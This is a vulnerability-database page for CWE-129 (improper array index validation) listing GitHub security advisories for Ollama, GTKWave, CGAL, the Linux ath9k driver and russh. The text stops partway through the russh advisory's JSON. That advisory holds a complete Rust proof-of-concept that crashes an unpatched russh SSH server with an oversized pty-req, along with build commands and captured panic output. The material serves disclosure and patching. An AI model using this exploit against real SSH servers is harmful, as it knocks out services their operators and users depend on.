CWE-129
AllowedImproper Validation of Array Index
Abstraction: Variant · Status: Draft
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
781 vulnerabilities reference this CWE, most recent first.
GHSA-C7VP-GJFC-X6P8
Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31Ollama downloadBlob Improper Validation of Array Index Denial-of-Service Vulnerability. This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of Ollama. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the downloadBlob function. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated array. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-27277.
{
"affected": [],
"aliases": [
"CVE-2026-15685"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T22:16:46Z",
"severity": "HIGH"
},
"details": "Ollama downloadBlob Improper Validation of Array Index Denial-of-Service Vulnerability. This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of Ollama. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the downloadBlob function. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated array. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-27277.",
"id": "GHSA-c7vp-gjfc-x6p8",
"modified": "2026-07-14T00:31:02Z",
"published": "2026-07-14T00:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15685"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-403"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C93F-7M77-G46F
Vulnerability from github – Published: 2024-01-08 15:30 – Updated: 2024-04-09 21:31Multiple improper array index validation vulnerabilities exist in the fstReaderIterBlocks2 tdelta functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the tdelta indexing when signal_lens is 0.
{
"affected": [],
"aliases": [
"CVE-2023-35996"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T15:15:13Z",
"severity": "HIGH"
},
"details": "Multiple improper array index validation vulnerabilities exist in the fstReaderIterBlocks2 tdelta functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the tdelta indexing when signal_lens is 0.",
"id": "GHSA-c93f-7m77-g46f",
"modified": "2024-04-09T21:31:53Z",
"published": "2024-01-08T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35996"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00007.html"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1791"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1791"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CF2M-PF4H-GRC5
Vulnerability from github – Published: 2022-04-19 00:00 – Updated: 2022-04-24 00:00Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_2/PM_io_parser.h PM_io_parser::read_hedge() e->set_next().
{
"affected": [],
"aliases": [
"CVE-2020-28604"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-18T17:15:00Z",
"severity": "HIGH"
},
"details": "Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_2/PM_io_parser.h PM_io_parser\u003cPMDEC\u003e::read_hedge() e-\u003eset_next().",
"id": "GHSA-cf2m-pf4h-grc5",
"modified": "2022-04-24T00:00:32Z",
"published": "2022-04-19T00:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28604"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-34"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1225"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CGJR-9G5G-88J4
Vulnerability from github – Published: 2024-03-06 09:30 – Updated: 2024-12-12 15:31In the Linux kernel, the following vulnerability has been resolved:
wifi: ath9k: Fix potential array-index-out-of-bounds read in ath9k_htc_txstatus()
Fix an array-index-out-of-bounds read in ath9k_htc_txstatus(). The bug occurs when txs->cnt, data from a URB provided by a USB device, is bigger than the size of the array txs->txstatus, which is HTC_MAX_TX_STATUS. WARN_ON() already checks it, but there is no bug handling code after the check. Make the function return if that is the case.
Found by a modified version of syzkaller.
UBSAN: array-index-out-of-bounds in htc_drv_txrx.c index 13 is out of range for type '__wmi_event_txstatus [12]' Call Trace: ath9k_htc_txstatus ath9k_wmi_event_tasklet tasklet_action_common __do_softirq irq_exit_rxu sysvec_apic_timer_interrupt
{
"affected": [],
"aliases": [
"CVE-2023-52594"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-06T07:15:09Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath9k: Fix potential array-index-out-of-bounds read in ath9k_htc_txstatus()\n\nFix an array-index-out-of-bounds read in ath9k_htc_txstatus(). The bug\noccurs when txs-\u003ecnt, data from a URB provided by a USB device, is\nbigger than the size of the array txs-\u003etxstatus, which is\nHTC_MAX_TX_STATUS. WARN_ON() already checks it, but there is no bug\nhandling code after the check. Make the function return if that is the\ncase.\n\nFound by a modified version of syzkaller.\n\nUBSAN: array-index-out-of-bounds in htc_drv_txrx.c\nindex 13 is out of range for type \u0027__wmi_event_txstatus [12]\u0027\nCall Trace:\n ath9k_htc_txstatus\n ath9k_wmi_event_tasklet\n tasklet_action_common\n __do_softirq\n irq_exit_rxu\n sysvec_apic_timer_interrupt",
"id": "GHSA-cgjr-9g5g-88j4",
"modified": "2024-12-12T15:31:05Z",
"published": "2024-03-06T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52594"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/25c6f49ef59b7a9b80a3f7ab9e95268a1b01a234"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2adc886244dff60f948497b59affb6c6ebb3c348"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/84770a996ad8d7f121ff2fb5a8d149aad52d64c1"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9003fa9a0198ce004b30738766c67eb7373479c9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/be609c7002dd4504b15b069cb7582f4c778548d1"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e4f4bac7d3b64eb75f70cd3345712de6f68a215d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f11f0fd1ad6c11ae7856d4325fe9d05059767225"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f44f073c78112ff921a220d01b86d09f2ace59bc"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CQJC-RMPQ-XPRQ
Vulnerability from github – Published: 2026-07-24 16:46 – Updated: 2026-08-12 20:56Summary
A post-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An authenticated client sends a pty-req channel request
carrying more than 130 terminal-mode records. The parser uses a fixed
[(Pty::TTY_OP_END, 0); 130] array but increments its counter i for every
valid record (logging "too many pty codes" without returning), then slices
&modes[0..i] — an out-of-bounds slice that panics (range end index 131
out of range for slice of length 130) before the application pty_request
handler runs.
This is reachable with the default server configuration and the default
crypto config (curve25519-sha256 + chacha20-poly1305), requiring only an
authenticated session channel — no caller-supplied parameter. It is reproduced
end-to-end against the unmodified real russh 0.62.2 library (a real
russh::client + russh::server over TCP, using the public
Channel::request_pty(...) API); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA
advisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string
parsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this
code path still overflows the fixed array).
Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.
Details
russh/src/server/encrypted.rs, pty-req handling (lines 1137–1201):
let mut modes = [(Pty::TTY_OP_END, 0); 130]; // fixed 130-entry array (line 1137)
let mut i = 0;
...
while !mode_bytes.is_empty() {
let code = mode_bytes[0];
if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }
if mode_bytes.len() < 5 { return Err(...); }
let num = BigEndian::read_u32(&mode_bytes[1..5]);
if let Some(code) = Pty::from_u8(code) {
if i < 130 {
modes[i] = (code, num);
} else {
error!("pty-req: too many pty codes"); // logs, does NOT return (line 1162)
}
}
i += 1; // keeps growing past 130
mode_bytes = &mode_bytes[5..];
}
...
handler.pty_request(channel_num, &term, ..., &modes[0..i], self).await // line 1201 — OOB when i > 130
Each terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),
and i += 1 runs for every valid record (including repeats of the same
opcode). The if i < 130 write-gate prevents an in-array overflow but the
counter still grows unbounded, and the later &modes[0..i] slice has no
corresponding bound. SSH packet-size limits do not bound the mode count to
130, so a single normal-sized pty-req can carry hundreds of mode records.
The client's own request_pty serialization (russh/src/client/session.rs:
((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?; // line 129
for &(code, value) in terminal_modes {
if code == Pty::TTY_OP_END { continue; }
(code as u8).encode(&mut enc.write)?;
value.encode(&mut enc.write)?; // line 135
}
writes every record with no count cap, so 131 records reach the server as a legitimate authenticated channel request.
PoC
The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection with the default
crypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL
case (130 mode records → parses fine), proving the panic is caused
specifically by exceeding the 130-entry array.
One-line reproducer
# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_c15_pty_modes_panic
RUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic
russh/examples/e2e_c15_pty_modes_panic.rs
// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode
// records panics the russh server in its pty-req parser.
//
// A real `russh::client` + `russh::server` with the DEFAULT crypto config
// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),
// opens a session channel, and calls the public Channel::request_pty(...) API
// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server
// panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex};
use russh::keys::Algorithm;
use russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};
use russh::{Channel, ChannelId, Pty};
use tokio::net::TcpListener;
#[tokio::main]
async fn main() {
println!("=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\n");
let (atk_panic, atk_handler) = run_case(131, "ATTACK ").await; // expect panic
println!();
let (ctl_panic, ctl_handler) = run_case(130, "CONTROL").await; // expect ok
println!("\n=== summary ===");
println!("case | server panicked | pty_request handler ran");
println!("ATTACK | {atk_panic:<15} | {atk_handler} (131 mode records)");
println!("CONTROL | {ctl_panic:<15} | {ctl_handler} (130 mode records)");
if atk_panic && !atk_handler && !ctl_panic && ctl_handler {
println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
println!(" A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`");
println!(" carrying 131 valid terminal-mode records makes the real");
println!(" russh server panic in its pty-req parser");
println!(" (range end index 131 out of range for slice of length 130)");
println!(" before the application pty_request handler runs.");
} else {
eprintln!("NOT reproduced");
std::process::exit(1);
}
}
async fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {
let panicked = Arc::new(AtomicBool::new(false));
{
let flag = panicked.clone();
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
flag.store(true, Ordering::SeqCst);
eprintln!("[{label} server task panicked] {info}");
prev(info);
}));
}
let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new()));
// real russh server, DEFAULT crypto config (curve25519 + chacha20)
let mut config = server::Config::default();
config.inactivity_timeout = None;
config.auth_rejection_time = std::time::Duration::from_millis(1);
config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());
let config = Arc::new(config);
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server_events = events.clone();
let server_task = tokio::spawn(async move {
let (socket, _peer) = listener.accept().await.unwrap();
let handler = PtyServer { events: server_events };
let session = server::run_stream(config, socket, handler).await.unwrap();
session.await
});
// real russh client (default config: real ECDH + encryption + auth)
let client_config = Arc::new(russh::client::Config::default());
let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();
let auth = session.authenticate_none("attacker").await.unwrap();
assert!(auth.success(), "[{label}] auth_none did not succeed");
let channel = session.channel_open_session().await.unwrap();
println!("[{label}] authenticated + opened session channel");
// terminal_modes: num_modes records of (VINTR, 42). The client serializes
// all of them with no count cap (client/session.rs:129-137).
let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes];
let want_reply = true;
let pty_result = tokio::time::timeout(
std::time::Duration::from_secs(3),
channel.request_pty(want_reply, "xterm", 80, 24, 0, 0, &modes),
).await;
println!("[{label}] client request_pty({num_modes} modes) -> {pty_result:?}");
let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
let server_panicked = panicked.load(Ordering::SeqCst);
let handler_ran = events.lock().unwrap().contains(&"pty_request");
println!("[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}");
let _ = std::panic::take_hook();
(server_panicked, handler_ran)
}
#[derive(Clone)]
struct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }
impl PtyServer {
fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }
}
impl Handler for PtyServer {
type Error = russh::Error;
async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
async fn channel_open_session(
&mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,
) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }
async fn pty_request(
&mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,
_pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,
) -> Result<(), Self::Error> { self.record("pty_request"); Ok(()) }
}
#[derive(Clone)]
struct AcceptAllClient {}
impl russh::client::Handler for AcceptAllClient {
type Error = russh::Error;
async fn check_server_key(
&mut self, _server_public_key: &russh::keys::PublicKey,
) -> Result<bool, Self::Error> { Ok(true) }
}
Real captured output (ATTACK, RUST_BACKTRACE=1):
[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))
[ATTACK server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:
range end index 131 out of range for slice of length 130
thread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39
stack backtrace:
3: <Session>::server_read_authenticated::<PtyServer>
4: <Session>::process_packet::<PtyServer>
5: russh::server::reply::<PtyServer>
[ATTACK ] server task panicked = true, pty_request handler ran = false
[CONTROL] server task panicked = false, pty_request handler ran = true
=> CONFIRMED (end-to-end, real russh 0.62.2)
The panic occurs in russh's own post-auth parser before any application handler is invoked.
Impact
Remote, post-authentication denial of service of any russh SSH server using
the default configuration. Any authenticated client with a session channel can
crash the russh server task with a single SSH_MSG_CHANNEL_REQUEST pty-req
carrying 131+ terminal-mode records (each record is 5 bytes, so 131 records
fit in one normal-sized packet). This is trivially reachable for any legitimate
or compromised SSH user. DoS only — Rust bounds-checked panics abort the task
safely; there is no memory corruption or RCE.
Suggested fix
Cap i at 130 and reject the request instead of logging and continuing:
if i >= 130 {
return Err(Error::Inconsistent.into()); // reject instead of logging+continuing
}
modes[i] = (code, num);
Affected versions
russh<= 0.62.3 (commitc4be19f1915c/ currentmainHEADv0.62.3, 2026-07-22). The bug is still present onmain; it is not covered by any of the 11 published russh GHSA advisories. Defaultserver::Configandclient::Configare affected (no feature flag or opt-in).
Credit
Reported by the diff/ambidiff security research effort (afldl). Happy to coordinate a disclosure timeline; will request a CVE once confirmed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.62.3"
},
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73489"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:46:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nA post-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An authenticated client sends a `pty-req` channel request\ncarrying more than 130 terminal-mode records. The parser uses a fixed\n`[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every\nvalid record (logging \"too many pty codes\" without returning), then slices\n`\u0026modes[0..i]` \u2014 an out-of-bounds slice that **panics** (`range end index 131\nout of range for slice of length 130`) before the application `pty_request`\nhandler runs.\n\nThis is reachable with the **default** server configuration and the **default**\ncrypto config (curve25519-sha256 + chacha20-poly1305), requiring only an\nauthenticated session channel \u2014 no caller-supplied parameter. It is reproduced\nend-to-end against the unmodified real russh 0.62.2 library (a real\n`russh::client` + `russh::server` over TCP, using the public\n`Channel::request_pty(...)` API); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA\nadvisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string\nparsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this\ncode path still overflows the fixed array).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137\u20131201):\n\n```rust\nlet mut modes = [(Pty::TTY_OP_END, 0); 130]; // fixed 130-entry array (line 1137)\nlet mut i = 0;\n...\nwhile !mode_bytes.is_empty() {\n let code = mode_bytes[0];\n if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }\n if mode_bytes.len() \u003c 5 { return Err(...); }\n let num = BigEndian::read_u32(\u0026mode_bytes[1..5]);\n if let Some(code) = Pty::from_u8(code) {\n if i \u003c 130 {\n modes[i] = (code, num);\n } else {\n error!(\"pty-req: too many pty codes\"); // logs, does NOT return (line 1162)\n }\n }\n i += 1; // keeps growing past 130\n mode_bytes = \u0026mode_bytes[5..];\n}\n...\nhandler.pty_request(channel_num, \u0026term, ..., \u0026modes[0..i], self).await // line 1201 \u2014 OOB when i \u003e 130\n```\n\nEach terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),\nand `i += 1` runs for **every** valid record (including repeats of the same\nopcode). The `if i \u003c 130` write-gate prevents an in-array overflow but the\ncounter still grows unbounded, and the later `\u0026modes[0..i]` slice has no\ncorresponding bound. SSH packet-size limits do not bound the mode count to\n130, so a single normal-sized `pty-req` can carry hundreds of mode records.\nThe client\u0027s own `request_pty` serialization (`russh/src/client/session.rs`:\n\n```rust\n((1 + 5 * terminal_modes.len()) as u32).encode(\u0026mut enc.write)?; // line 129\nfor \u0026(code, value) in terminal_modes {\n if code == Pty::TTY_OP_END { continue; }\n (code as u8).encode(\u0026mut enc.write)?;\n value.encode(\u0026mut enc.write)?; // line 135\n}\n```\n\nwrites every record with no count cap, so 131 records reach the server as a\nlegitimate authenticated channel request.\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection with the default\ncrypto config. It runs an ATTACK case (131 mode records \u2192 panic) and a CONTROL\ncase (130 mode records \u2192 parses fine), proving the panic is caused\nspecifically by exceeding the 130-entry array.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_c15_pty_modes_panic\nRUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic\n```\n\n### `russh/examples/e2e_c15_pty_modes_panic.rs`\n\n```rust\n// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode\n// records panics the russh server in its pty-req parser.\n//\n// A real `russh::client` + `russh::server` with the DEFAULT crypto config\n// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),\n// opens a session channel, and calls the public Channel::request_pty(...) API\n// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server\n// panics in its pty-req parser (\u0026modes[0..i] OOB) on 131, parses fine on 130.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::{Arc, Mutex};\n\nuse russh::keys::Algorithm;\nuse russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};\nuse russh::{Channel, ChannelId, Pty};\nuse tokio::net::TcpListener;\n\n#[tokio::main]\nasync fn main() {\n println!(\"=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\\n\");\n\n let (atk_panic, atk_handler) = run_case(131, \"ATTACK \").await; // expect panic\n println!();\n let (ctl_panic, ctl_handler) = run_case(130, \"CONTROL\").await; // expect ok\n\n println!(\"\\n=== summary ===\");\n println!(\"case | server panicked | pty_request handler ran\");\n println!(\"ATTACK | {atk_panic:\u003c15} | {atk_handler} (131 mode records)\");\n println!(\"CONTROL | {ctl_panic:\u003c15} | {ctl_handler} (130 mode records)\");\n\n if atk_panic \u0026\u0026 !atk_handler \u0026\u0026 !ctl_panic \u0026\u0026 ctl_handler {\n println!(\"\\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2):\");\n println!(\" A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`\");\n println!(\" carrying 131 valid terminal-mode records makes the real\");\n println!(\" russh server panic in its pty-req parser\");\n println!(\" (range end index 131 out of range for slice of length 130)\");\n println!(\" before the application pty_request handler runs.\");\n } else {\n eprintln!(\"NOT reproduced\");\n std::process::exit(1);\n }\n}\n\nasync fn run_case(num_modes: usize, label: \u0026\u0027static str) -\u003e (bool, bool) {\n let panicked = Arc::new(AtomicBool::new(false));\n {\n let flag = panicked.clone();\n let prev = std::panic::take_hook();\n std::panic::set_hook(Box::new(move |info| {\n flag.store(true, Ordering::SeqCst);\n eprintln!(\"[{label} server task panicked] {info}\");\n prev(info);\n }));\n }\n\n let events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e = Arc::new(Mutex::new(Vec::new()));\n\n // real russh server, DEFAULT crypto config (curve25519 + chacha20)\n let mut config = server::Config::default();\n config.inactivity_timeout = None;\n config.auth_rejection_time = std::time::Duration::from_millis(1);\n config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n config.keys.push(russh::keys::PrivateKey::random(\u0026mut rand::rng(), Algorithm::Ed25519).unwrap());\n let config = Arc::new(config);\n\n let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n let addr = listener.local_addr().unwrap();\n\n let server_events = events.clone();\n let server_task = tokio::spawn(async move {\n let (socket, _peer) = listener.accept().await.unwrap();\n let handler = PtyServer { events: server_events };\n let session = server::run_stream(config, socket, handler).await.unwrap();\n session.await\n });\n\n // real russh client (default config: real ECDH + encryption + auth)\n let client_config = Arc::new(russh::client::Config::default());\n let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();\n let auth = session.authenticate_none(\"attacker\").await.unwrap();\n assert!(auth.success(), \"[{label}] auth_none did not succeed\");\n\n let channel = session.channel_open_session().await.unwrap();\n println!(\"[{label}] authenticated + opened session channel\");\n\n // terminal_modes: num_modes records of (VINTR, 42). The client serializes\n // all of them with no count cap (client/session.rs:129-137).\n let modes: Vec\u003c(Pty, u32)\u003e = vec![(Pty::VINTR, 42u32); num_modes];\n let want_reply = true;\n\n let pty_result = tokio::time::timeout(\n std::time::Duration::from_secs(3),\n channel.request_pty(want_reply, \"xterm\", 80, 24, 0, 0, \u0026modes),\n ).await;\n println!(\"[{label}] client request_pty({num_modes} modes) -\u003e {pty_result:?}\");\n\n let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n let server_panicked = panicked.load(Ordering::SeqCst);\n let handler_ran = events.lock().unwrap().contains(\u0026\"pty_request\");\n println!(\"[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}\");\n let _ = std::panic::take_hook();\n (server_panicked, handler_ran)\n}\n\n#[derive(Clone)]\nstruct PtyServer { events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e }\nimpl PtyServer {\n fn record(\u0026self, e: \u0026\u0027static str) { self.events.lock().unwrap().push(e); }\n}\nimpl Handler for PtyServer {\n type Error = russh::Error;\n async fn auth_none(\u0026mut self, _user: \u0026str) -\u003e Result\u003cAuth, Self::Error\u003e { Ok(Auth::Accept) }\n async fn channel_open_session(\n \u0026mut self, _channel: Channel\u003cMsg\u003e, reply: ChannelOpenHandle, _session: \u0026mut Session,\n ) -\u003e Result\u003c(), Self::Error\u003e { reply.accept().await; Ok(()) }\n async fn pty_request(\n \u0026mut self, _channel: ChannelId, _term: \u0026str, _col_width: u32, _row_height: u32,\n _pix_width: u32, _pix_height: u32, _modes: \u0026[(Pty, u32)], _session: \u0026mut Session,\n ) -\u003e Result\u003c(), Self::Error\u003e { self.record(\"pty_request\"); Ok(()) }\n}\n\n#[derive(Clone)]\nstruct AcceptAllClient {}\nimpl russh::client::Handler for AcceptAllClient {\n type Error = russh::Error;\n async fn check_server_key(\n \u0026mut self, _server_public_key: \u0026russh::keys::PublicKey,\n ) -\u003e Result\u003cbool, Self::Error\u003e { Ok(true) }\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] client request_pty(131 modes) -\u003e Ok(Ok(()))\n[ATTACK server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:\nrange end index 131 out of range for slice of length 130\nthread \u0027tokio-rt-worker\u0027 panicked at russh/src/server/encrypted.rs:1201:39\nstack backtrace:\n 3: \u003cSession\u003e::server_read_authenticated::\u003cPtyServer\u003e\n 4: \u003cSession\u003e::process_packet::\u003cPtyServer\u003e\n 5: russh::server::reply::\u003cPtyServer\u003e\n[ATTACK ] server task panicked = true, pty_request handler ran = false\n[CONTROL] server task panicked = false, pty_request handler ran = true\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe panic occurs in russh\u0027s own post-auth parser before any application\nhandler is invoked.\n\n## Impact\n\n**Remote, post-authentication denial of service of any russh SSH server using\nthe default configuration.** Any authenticated client with a session channel can\ncrash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req`\ncarrying 131+ terminal-mode records (each record is 5 bytes, so 131 records\nfit in one normal-sized packet). This is trivially reachable for any legitimate\nor compromised SSH user. DoS only \u2014 Rust bounds-checked panics abort the task\nsafely; there is no memory corruption or RCE.\n\n### Suggested fix\n\nCap `i` at 130 and reject the request instead of logging and continuing:\n\n```rust\nif i \u003e= 130 {\n return Err(Error::Inconsistent.into()); // reject instead of logging+continuing\n}\nmodes[i] = (code, num);\n```\n\n### Affected versions\n\n- `russh` **\u003c= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n by any of the 11 published russh GHSA advisories. Default `server::Config`\n and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nReported by the diff/ambidiff security research effort (afldl). Happy to\ncoordinate a disclosure timeline; will request a CVE once confirmed.",
"id": "GHSA-cqjc-rmpq-xprq",
"modified": "2026-08-12T20:56:50Z",
"published": "2026-07-24T16:46:13Z",
"references": [
{
"type": "WEB",
